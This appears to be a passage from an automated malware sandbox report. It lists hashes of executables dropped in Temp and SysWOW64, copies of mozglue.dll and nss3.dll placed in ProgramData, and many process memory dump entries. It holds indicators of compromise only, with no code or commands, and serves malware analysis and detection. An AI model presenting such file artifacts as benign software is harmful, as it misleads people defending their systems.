                      • C:\Users\Admin\AppData\Local\Temp\E462.exe
                        MD5

                        d0ec4cce8f1b67dc68a8ffa16915e0ba

                        SHA1

                        25c0736405030f1704c52684ef4f64617dbf669a

                        SHA256

                        0d2e9322d0fc40f66ab6e80d0dce1b9131cefff5ac3a7d95d3b8f8d07b5523bd

                        SHA512

                        d5d5e30dd8c4d4f782016127436ef822774d86de54470c903c47a5080607180d571607c0afc54e707f95c879716055249aefae3bfd2549ee8a751ae818b6b022

                      • C:\Users\Admin\AppData\Local\Temp\EE94.exe
                        MD5

                        be739c30f3e33ba80b4514918ae980ec

                        SHA1

                        d18756ccfcb83ad65fd2174171227e53bd698fdc

                        SHA256

                        55b03faa1fe3b207dfbecc7e6489ad876234fb889e7afb26e1a00441cd672b47

                        SHA512

                        efd63e03239525f4339ea6b152962bbb0065a8b859a4cab4a0a6cca8c03897bd62c3dd24bf2aea33793a2eb91539c98b625b40c38e9a62b14d6f759f65dfa7f2

                      • C:\Users\Admin\AppData\Local\Temp\EE94.exe
                        MD5

                        be739c30f3e33ba80b4514918ae980ec

                        SHA1

                        d18756ccfcb83ad65fd2174171227e53bd698fdc

                        SHA256

                        55b03faa1fe3b207dfbecc7e6489ad876234fb889e7afb26e1a00441cd672b47

                        SHA512

                        efd63e03239525f4339ea6b152962bbb0065a8b859a4cab4a0a6cca8c03897bd62c3dd24bf2aea33793a2eb91539c98b625b40c38e9a62b14d6f759f65dfa7f2

                      • C:\Users\Admin\AppData\Local\Temp\FFAC.exe
                        MD5

                        e15a83d1bd4b13aa413644c6de5a6636

                        SHA1

                        cf8f513297ae500b3b0fe25edd0b05c8e6f7955c

                        SHA256

                        c424373d629f650e7c8df6f2bb24f4268b4b523e6b6e5c26ad0a3b2036db17dd

                        SHA512

                        e81768aeca4d7574e7f3bdaa5572ec5827579374ec260266d63050ebdbb06a84bd799f84ca99fd1f8568207df4d9354e617fa57a1766aec0684bc39495889741

                      • C:\Users\Admin\AppData\Local\Temp\qxayzzpd.exe
                        MD5

                        d978872794b7388f9d7d509656bec733

                        SHA1

                        bd83bfca6b36218be4f8d3fcfa121ba6d1e3c34f

                        SHA256

                        f21dd7c62014ea4d3c80cfd82e63d8c119b47493ba62ba9495497d986a548263

                        SHA512

                        533a7a25cd09f9fbc7f8b67967d71b4a7f316b6369774ed2f5177244dd23f8489b1e04cc2d23fbd5655d4eed17171cfe6dfc1b17d8c956801911dcc8cde4c734

                      • C:\Windows\SysWOW64\kryhkmie\qxayzzpd.exe
                        MD5

                        d978872794b7388f9d7d509656bec733

                        SHA1

                        bd83bfca6b36218be4f8d3fcfa121ba6d1e3c34f

                        SHA256

                        f21dd7c62014ea4d3c80cfd82e63d8c119b47493ba62ba9495497d986a548263

                        SHA512

                        533a7a25cd09f9fbc7f8b67967d71b4a7f316b6369774ed2f5177244dd23f8489b1e04cc2d23fbd5655d4eed17171cfe6dfc1b17d8c956801911dcc8cde4c734

                      • \ProgramData\mozglue.dll
                        MD5

                        8f73c08a9660691143661bf7332c3c27

                        SHA1

                        37fa65dd737c50fda710fdbde89e51374d0c204a

                        SHA256

                        3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

                        SHA512

                        0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

                      • \ProgramData\mozglue.dll
                        MD5

                        8f73c08a9660691143661bf7332c3c27

                        SHA1

                        37fa65dd737c50fda710fdbde89e51374d0c204a

                        SHA256

                        3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

                        SHA512

                        0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

                      • \ProgramData\nss3.dll
                        MD5

                        bfac4e3c5908856ba17d41edcd455a51

                        SHA1

                        8eec7e888767aa9e4cca8ff246eb2aacb9170428

                        SHA256

                        e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                        SHA512

                        2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                      • \ProgramData\nss3.dll
                        MD5

                        bfac4e3c5908856ba17d41edcd455a51

                        SHA1

                        8eec7e888767aa9e4cca8ff246eb2aacb9170428

                        SHA256

                        e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                        SHA512

                        2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                      • memory/664-114-0x0000000000030000-0x0000000000039000-memory.dmp
                        Filesize

                        36KB

                      • memory/840-115-0x0000000000400000-0x0000000000409000-memory.dmp
                        Filesize

                        36KB

                      • memory/840-116-0x0000000000402F18-mapping.dmp
                      • memory/1168-170-0x0000000000000000-mapping.dmp
                      • memory/1168-185-0x0000000000400000-0x00000000004D9000-memory.dmp
                        Filesize

                        868KB

                      • memory/1168-178-0x0000000000760000-0x0000000000836000-memory.dmp
                        Filesize

                        856KB

                      • memory/1176-186-0x0000000000400000-0x0000000000441000-memory.dmp
                        Filesize

                        260KB

                      • memory/1308-173-0x0000000000000000-mapping.dmp
                      • memory/2028-118-0x0000000000000000-mapping.dmp
                      • memory/2088-154-0x0000000000000000-mapping.dmp
                      • memory/2204-134-0x0000000005280000-0x0000000005281000-memory.dmp
                        Filesize

                        4KB

                      • memory/2204-133-0x0000000004D70000-0x0000000004D71000-memory.dmp
                        Filesize

                        4KB

                      • memory/2204-132-0x0000000004AF0000-0x0000000004AF1000-memory.dmp
                        Filesize

                        4KB

                      • memory/2204-126-0x0000000004B70000-0x0000000004B71000-memory.dmp
                        Filesize

                        4KB

                      • memory/2204-124-0x0000000000320000-0x0000000000321000-memory.dmp
                        Filesize

                        4KB

                      • memory/2204-121-0x0000000000000000-mapping.dmp
                      • memory/2260-167-0x0000000000000000-mapping.dmp
                      • memory/2940-188-0x0000000000000000-mapping.dmp
                      • memory/2940-210-0x0000000000400000-0x00000000004D9000-memory.dmp
                        Filesize

                        868KB

                      • memory/2940-209-0x0000000000820000-0x00000000008F6000-memory.dmp
                        Filesize

                        856KB

                      • memory/3024-117-0x00000000005D0000-0x00000000005E5000-memory.dmp
                        Filesize

                        84KB

                      • memory/3024-138-0x0000000000620000-0x0000000000635000-memory.dmp
                        Filesize

                        84KB

                      • memory/3108-181-0x00000000001C0000-0x00000000001D5000-memory.dmp
                        Filesize

                        84KB

                      • memory/3108-182-0x00000000001C9A6B-mapping.dmp
                      • memory/3112-128-0x0000000000402F18-mapping.dmp
                      • memory/3164-161-0x0000000000000000-mapping.dmp
                      • memory/3380-175-0x0000000000000000-mapping.dmp
                      • memory/3380-191-0x00000000005D0000-0x000000000071A000-memory.dmp
                        Filesize

                        1.3MB

                      • memory/3380-192-0x0000000000400000-0x0000000000491000-memory.dmp
                        Filesize

                        580KB

                      • memory/3908-169-0x0000000000000000-mapping.dmp
                      • memory/3932-150-0x0000000000400000-0x0000000000441000-memory.dmp
                        Filesize

                        260KB

                      • memory/3932-135-0x0000000000000000-mapping.dmp
                      • memory/3932-146-0x00000000001C0000-0x00000000001D3000-memory.dmp
                        Filesize

                        76KB

                      • memory/3956-166-0x0000000000000000-mapping.dmp
                      • memory/3980-155-0x0000000077020000-0x00000000771AE000-memory.dmp
                        Filesize

                        1.6MB

                      • memory/3980-149-0x0000000000000000-mapping.dmp
                      • memory/3980-223-0x00000000076E0000-0x00000000076E1000-memory.dmp
                        Filesize

                        4KB

                      • memory/3980-235-0x0000000007AD0000-0x0000000007AD1000-memory.dmp
                        Filesize

                        4KB

                      • memory/3980-164-0x00000000038F0000-0x00000000038F1000-memory.dmp
                        Filesize

                        4KB

                      • memory/3980-231-0x0000000007590000-0x0000000007591000-memory.dmp
                        Filesize

                        4KB

                      • memory/3980-273-0x0000000007EC0000-0x0000000007EC1000-memory.dmp
                        Filesize

                        4KB

                      • memory/3980-157-0x0000000000820000-0x0000000000821000-memory.dmp
                        Filesize

                        4KB

                      • memory/3992-244-0x0000000000D50000-0x0000000000D51000-memory.dmp
                        Filesize

                        4KB

                      • memory/3992-253-0x0000000077020000-0x00000000771AE000-memory.dmp
                        Filesize

                        1.6MB

                      • memory/3992-130-0x0000000000000000-mapping.dmp
                      • memory/3992-254-0x00000000052D0000-0x00000000058D6000-memory.dmp
                        Filesize

                        6.0MB

                      • memory/4004-153-0x00000000052A0000-0x00000000052A1000-memory.dmp
                        Filesize

                        4KB

                      • memory/4004-139-0x0000000000400000-0x0000000000422000-memory.dmp
                        Filesize

                        136KB

                      • memory/4004-140-0x000000000041B232-mapping.dmp
                      • memory/4004-261-0x0000000007200000-0x0000000007201000-memory.dmp
                        Filesize

                        4KB

                      • memory/4004-144-0x00000000057C0000-0x00000000057C1000-memory.dmp
                        Filesize

                        4KB

                      • memory/4004-145-0x00000000051E0000-0x00000000051E1000-memory.dmp
                        Filesize

                        4KB

                      • memory/4004-148-0x0000000005260000-0x0000000005261000-memory.dmp
                        Filesize

                        4KB

                      • memory/4004-147-0x0000000005310000-0x0000000005311000-memory.dmp
                        Filesize

                        4KB

                      • memory/4004-152-0x00000000051B0000-0x00000000057B6000-memory.dmp
                        Filesize

                        6.0MB

                      • memory/4028-200-0x0000000004A30000-0x0000000004A6C000-memory.dmp
                        Filesize

                        240KB

                      • memory/4028-202-0x0000000004B60000-0x0000000004B61000-memory.dmp
                        Filesize

                        4KB

                      • memory/4028-196-0x0000000002650000-0x000000000268D000-memory.dmp
                        Filesize

                        244KB

                      • memory/4028-195-0x0000000000480000-0x00000000005CA000-memory.dmp
                        Filesize

                        1.3MB

                      • memory/4028-197-0x0000000000400000-0x0000000000478000-memory.dmp
                        Filesize

                        480KB

                      • memory/4028-208-0x0000000004B64000-0x0000000004B66000-memory.dmp
                        Filesize

                        8KB

                      • memory/4028-179-0x0000000000000000-mapping.dmp
                      • memory/4028-201-0x0000000004B63000-0x0000000004B64000-memory.dmp
                        Filesize

                        4KB

                      • memory/4028-199-0x0000000004B62000-0x0000000004B63000-memory.dmp
                        Filesize

                        4KB

                      • memory/4164-239-0x0000000000000000-mapping.dmp
                      • memory/4176-240-0x0000000000000000-mapping.dmp
                      • memory/4192-241-0x0000000003000000-0x00000000030F1000-memory.dmp
                        Filesize

                        964KB

                      • memory/4192-249-0x0000000003000000-0x00000000030F1000-memory.dmp
                        Filesize

                        964KB

                      • memory/4192-247-0x000000000309259C-mapping.dmp
                      • memory/4392-256-0x0000000000000000-mapping.dmp
                      • memory/4404-257-0x0000000000000000-mapping.dmp
                      • memory/4492-258-0x0000000000000000-mapping.dmp
                      • memory/4512-259-0x0000000000000000-mapping.dmp